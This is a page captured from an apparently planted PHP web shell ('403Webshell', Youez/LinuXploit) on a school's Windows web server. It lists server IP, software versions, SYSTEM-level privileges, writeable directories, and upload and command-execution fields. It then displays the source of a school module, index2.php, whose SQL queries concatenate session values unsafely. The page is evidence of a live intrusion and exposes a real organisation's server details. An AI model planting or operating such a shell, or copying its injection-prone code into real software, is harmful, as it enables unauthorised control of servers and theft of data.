403Webshell
Server IP : 104.21.80.248  /  Your IP : 172.71.28.155
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/myschool/kanchana/modules/numbook/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Inetpub/www/myschool/kanchana/modules/numbook/index2.php
<?
CheckUser($_SESSION['user_user'], $_SESSION['user_pwd']);
?>
<SCRIPT LANGUAGE='JAVASCRIPT' TYPE='TEXT/JAVASCRIPT'>
 <!--
var win=null;
function NewWindow(mypage,myname,w,h,pos,infocus){
if(pos=="random"){myleft=(screen.width)?Math.floor(Math.random()*(screen.width-w)):100;mytop=(screen.height)?Math.floor(Math.random()*((screen.height-h)-75)):100;}
if(pos=="center"){myleft=(screen.width)?(screen.width-w)/2:100;mytop=(screen.height)?(screen.height-h)/2:100;}
else if((pos!='center' && pos!="random") || pos==null){myleft=0;mytop=20}
settings="width=" + w + ",height=" + h + ",top=" + mytop + ",left=" + myleft + ",scrollbars=yes,location=no,directories=no,status=no,menubar=no,toolbar=no,resizable=no";win=window.open(mypage,myname,settings);
win.focus();}
// -->
</script>
<TABLE cellSpacing=0 cellPadding=0 width=100% height="500"border=0>
      <TBODY>
        <TR>
          <TD>
		  <!-- tkk4 -->
				<TABLE width="770" align=center cellSpacing=0 cellPadding=0 border=0>
<form action="?name=admin&file=sent&op=tkk4_del&action=multidel" name="myform" method="post">
 <table width="300" align=center cellspacing="2" cellpadding="1" >
  <tr bgcolor="#336633" height=25>
   <td  align=center width="200"><font size=4 color="#FFFFFF"><B>เอกสารลำดับที่</B></font></td>
  </tr>  
<?
//	CheckUser($_SESSION['user_user']);
		$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
		$res[user] = $db->select_query("SELECT * FROM ".TB_user." WHERE username='".$_SESSION['user_user']."' ");
		$arr[user] = $db->fetch($res[user]);
//แสดงบทความ
	$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
$limit = 1 ;
$SUMPAGE = $db->num_rows(TB_TKK4,"id","$SQLwhere");
$page=$_GET[page];
if (empty($page)){
	$page=1;
}
$rt = $SUMPAGE%$limit ;
$totalpage = ($rt!=0) ? floor($SUMPAGE/$limit)+1 : floor($SUMPAGE/$limit); 
$goto = ($page-1)*$limit ;
$res[numbook] = $db->select_query("SELECT * FROM ".TB_NUMBOOK." WHERE category='".$arr[user][id] ."'ORDER BY id DESC LIMIT $goto, $limit   ");
$count=0;
while($arr[numbook] = $db->fetch($res[numbook]))
	{
	if ($count==0) { echo "<TR>"; }
?>

			<tr bgcolor="#E6FEDE">
<td align="center" ><font size=4 color="#FF0000">
  <B><?echo $arr[numbook][idtabain];?>/<?echo $arr[numbook][year];?></B><BR>
<?echo ThaiTimeConvert($arr[numbook][post_date],'','');?><BR><BR>
<?
$count++;
if (($count%1) == 0) { echo ""; $count=0; }
}
$db->closedb ();
//จบการแสดงข่าวสาร
?> 

					</table>
 </form>		
 </TR>
 </TD>
 </TABLE>
		  </TD>
        </TR>
      </TBODY>
    </TABLE>

Youez - 2016 - github.com/yon3zu
LinuXploit